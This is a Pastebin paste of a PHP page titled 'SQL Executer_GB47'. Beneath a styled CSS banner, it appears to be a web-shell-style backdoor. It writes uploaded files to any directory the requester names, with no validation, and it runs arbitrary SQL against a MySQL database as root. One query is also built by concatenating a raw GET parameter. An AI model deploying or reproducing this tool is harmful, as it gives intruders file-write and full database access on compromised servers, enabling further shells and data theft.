Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <title>SQL Executer_GB47</title>
- <link href='https://fonts.googleapis.com/css?family=Montserrat' rel='stylesheet' type='text/css'>
- <style>@import url(http://fonts.googleapis.com/css?family=Lato:300,400,900);
- body {
- background: #0000;
- font-family: 'Lato', Arial, sans-serif;
- }
- .grid {
- margin: 0;
- padding: 0;
- list-style: none;
- position: center;
- width: 70%;
- }
- .grid li {
- position: center;
- float: left;
- font-size: 5em;
- line-height: 1.5;
- max-height:150px;
- text-align: center;
- width: 8%;
- }
- /* Common styles for the letters */
- .grid li span {
- display: inline-block;
- font-weight: 900;
- line-height: 1;
- position: center;
- color: hsla(0, 0%, 0%, 0.6);
- perspective: 400px;
- z-index: 1;
- }
- .grid li span:before,
- .grid li span:after {
- position: absolute;
- content: attr(data-letter);
- line-height: inherit;
- top: 0;
- left: 0;
- right: 0;
- bottom: 0;
- z-index: 2;
- -webkit-transition: all .3s;
- transition: all .3s;
- }
- .grid li span:before {
- text-shadow: none;
- color: hsla(0, 0%, 0%, 0.12);
- }
- /* Colors */
- .ot-letter-left span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
- .ot-letter-left span:after { color: #3cd6e7; }
- .ot-letter-left:hover span:after { color: #53dbea; }
- .ot-letter-right span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
- .ot-letter-right span:after { color: #3cd6e7; }
- .ot-letter-right:hover span:after { color: #53dbea; }
- .ot-letter-top span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
- .ot-letter-top span:after { color: #3cd6e7; }
- .ot-letter-top:hover span:after { color: #53dbea; }
- .ot-letter-bottom span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
- .ot-letter-bottom span:after { color: #3cd6e7; }
- .ot-letter-bottom:hover span:after { color: #53dbea; }
- /* Left */
- .ot-letter-left span:before,
- .ot-letter-left span:after {
- -webkit-transform-origin: 0 50%;
- -ms-transform-origin: 0 50%;
- transform-origin: 0 50%;
- }
- .ot-letter-left span:before {
- -webkit-transform: scale(1.08,1) skew(0deg,1deg);
- -ms-transform: scale(1.08,1) skew(0deg,1deg);
- transform: scale(1.08,1) skew(0deg,1deg);
- }
- .ot-letter-left span:after {
- text-shadow: -1px 0px 0px hsla(360, 100%, 100%, 0.1), 3px 0px 1px hsla(0, 0%, 0%, 0.4);
- -webkit-transform: rotateY(-15deg);
- -ms-transform: rotateY(-15deg);
- transform: rotateY(-15deg);
- }
- .ot-letter-left:hover span:before {
- -webkit-transform: scale(0.85,1) skew(0deg,20deg);
- -ms-transform: scale(0.85,1) skew(0deg,20deg);
- transform: scale(0.85,1) skew(0deg,20deg);
- }
- .ot-letter-left:hover span:after {
- -webkit-transform: rotateY(-40deg);
- -ms-transform: rotateY(-40deg);
- transform: rotateY(-40deg);
- }
- /* Right */
- .ot-letter-right span:before,
- .ot-letter-right span:after {
- -webkit-transform-origin: 100% 50%;
- -ms-transform-origin: 100% 50%;
- transform-origin: 100% 50%;
- }
- .ot-letter-right span:before {
- -webkit-transform: scale(0.85,1) skew(0deg,1deg);
- -ms-transform: scale(0.85,1) skew(0deg,1deg);
- transform: scale(0.85,1) skew(0deg,1deg);
- }
- .ot-letter-right span:after {
- text-shadow: 1px 0px 0px hsla(360, 100%, 100%, 0.1), -3px 0px 1px hsla(0, 0%, 0%, 0.4);
- -webkit-transform: rotateY(15deg);
- -ms-transform: rotateY(15deg);
- transform: rotateY(15deg);
- }
- .ot-letter-right:hover span:before {
- -webkit-transform: scale(0.85,1) skew(0deg,-20deg);
- -ms-transform: scale(0.85,1) skew(0deg,-20deg);
- transform: scale(0.85,1) skew(0deg,-20deg);
- }
- .ot-letter-right:hover span:after {
- -webkit-transform: rotateY(40deg);
- -ms-transform: rotateY(40deg);
- transform: rotateY(40deg);
- }
- /* Up */
- .ot-letter-top span:before,
- .ot-letter-top span:after {
- -webkit-transform-origin: 50% 100%;
- -ms-transform-origin: 50% 100%;
- transform-origin: 50% 100%;
- }
- .ot-letter-top span:before {
- -webkit-transform: scale(1,0.95) skew(-4deg,0deg);
- -ms-transform: scale(1,0.95) skew(-4deg,0deg);
- transform: scale(1,0.95) skew(-4deg,0deg);
- }
- .ot-letter-top span:after {
- text-shadow: 0px 1px 0px hsla(360, 100%, 100%, 0.1), 0px -3px 1px hsla(0, 0%, 0%, 0.4);
- -webkit-transform: rotateX(-15deg);
- -ms-transform: rotateX(-15deg);
- transform: rotateX(-15deg);
- }
- .ot-letter-top:hover span:before {
- -webkit-transform: translateY(-0.050em) scale(1,0.55) skew(-10deg,0deg);
- -ms-transform: translateY(-0.050em) scale(1,0.55) skew(-10deg,0deg);
- transform: translateY(-0.050em) scale(1,0.55) skew(-10deg,0deg);
- }
- .ot-letter-top:hover span:after {
- -webkit-transform: translateY(-0.035em) rotateX(-40deg);
- -ms-transform: translateY(-0.035em) rotateX(-40deg);
- transform: translateY(-0.035em) rotateX(-40deg);
- }
- /* Down */
- .ot-letter-bottom span:before,
- .ot-letter-bottom span:after {
- -webkit-transform-origin: 50% 0;
- -ms-transform-origin: 50% 0;
- transform-origin: 50% 0;
- }
- .ot-letter-bottom span:before {
- -webkit-transform: scale(1,1.05) skew(4deg,0deg);
- -ms-transform: scale(1,1.05) skew(4deg,0deg);
- transform: scale(1,1.05) skew(4deg,0deg);
- }
- .ot-letter-bottom span:after {
- text-shadow: 0px -1px 0px hsla(360, 100%, 100%, 0.1), 0px 3px 1px hsla(0, 0%, 0%, 0.4);
- -webkit-transform: rotateX(15deg);
- -ms-transform: rotateX(15deg);
- transform: rotateX(15deg);
- }
- .ot-letter-bottom:hover span:before {
- -webkit-transform: translateY(-0.035em) scale(1,1.2) skew(10deg,0deg);
- -ms-transform: translateY(-0.035em) scale(1,1.2) skew(10deg,0deg);
- transform: translateY(-0.035em) scale(1,1.2) skew(10deg,0deg);
- }
- .ot-letter-bottom:hover span:after {
- -webkit-transform: translateY(0.045em) rotateX(40deg);
- -ms-transform: translateY(0.045em) rotateX(40deg);
- transform: translateY(0.045em) rotateX(40deg);
- }
- </style><center><div class="container"><div class="component"> <ul class="grid"><li class="ot-letter-left"><span data-letter="SQL">SQL</span></li><br><br><br><br><li class="ot-letter-left"><span data-letter="E">E</span></li><li class="ot-letter-right"><span data-letter="X">X</span></li><li class="ot-letter-right"><span data-letter="E">E</span></li><li class="ot-letter-right"><span data-letter="C">C</span></li><li class="ot-letter-right"><span data-letter="U">U</span></li><li class="ot-letter-right"><span data-letter="T">T</span></li><li class="ot-letter-right"><span data-letter="E">E</span></li><li class="ot-letter-right"><span data-letter="R">R</span></li></ul></div></div><br><br><br><br><br>
- <?php
- $user = 'root';
- $password = 'password';
- $db = 'test';
- $host = '127.0.0.1';
- if (isset($_POST['path'])){
- $target_dir = $_POST["path"];
- $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
- $uploadOk = 1;
- if (file_exists($target_file)) {
- echo "<br>Sorry, file already exists.";
- $uploadOk = 0;
- }
- if ($uploadOk == 0) {
- echo "<br>Sorry, your file was not uploaded.";
- } else {
- if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
- $MyFiler= basename($_FILES["fileToUpload"]["name"]);
- echo "<br><br><br><a href=".$MyFiler." target='_blank' >".$MyFiler."</a> has been uploaded.";
- } else {
- echo "<br><br><br>Sorry, there was an error uploading your file.";
- }
- }}
- $sql = $_POST['sql'];
- echo '<br><br><br><form method="post" enctype="multipart/form-data"><br>
- Directory:<br>
- <input type="text" name="path" value="'.getcwd().'/"><br><br>
- <input type="file" name="fileToUpload" >
- <input type="submit" value="Upload" name="submit"><br>
- </form><form method="post">
- <textarea name="sql" rows="20" cols="80" spellcheck="false" wrap="off" >'.$sql.'</textarea><br>
- <input value="Submit" name="sqlcmd" type="submit"> <br>
- </form>
- <table style="border: solid 1px black;">
- <th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th>';
- class TableRows extends RecursiveIteratorIterator {
- function __construct($it) {
- parent::__construct($it, self::LEAVES_ONLY);
- }
- function current() {
- return "<td style='width:150px;border:1px solid black;'>" . parent::current(). "</td>";
- }
- function beginChildren() {
- echo "<tr>";
- }
- function endChildren() {
- echo "</tr>" . "\n";
- }
- }
- if (isset($_GET['sql'])){
- try {
- $conn = new PDO("mysql:host=$host;dbname=$db", $user, $password);
- $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
- $stmt = $conn->prepare("select * from ".$_GET['sql']);
- $stmt->execute();
- // set the resulting array to associative
- $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
- foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {
- echo $v;
- }
- }
- catch(PDOException $e) {
- echo "Error: " . $e->getMessage();
- }}
- if (isset($_POST['sql'])){
- try {
- $conn = new PDO("mysql:host=$host;dbname=$db", $user, $password);
- $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
- $stmt = $conn->prepare($sql);
- $stmt->execute();
- $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
- foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {
- echo $v;
- }
- }
- catch(PDOException $e) {
- echo "Error: " . $e->getMessage();
- }}
- $conn = null;
- echo "</table>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement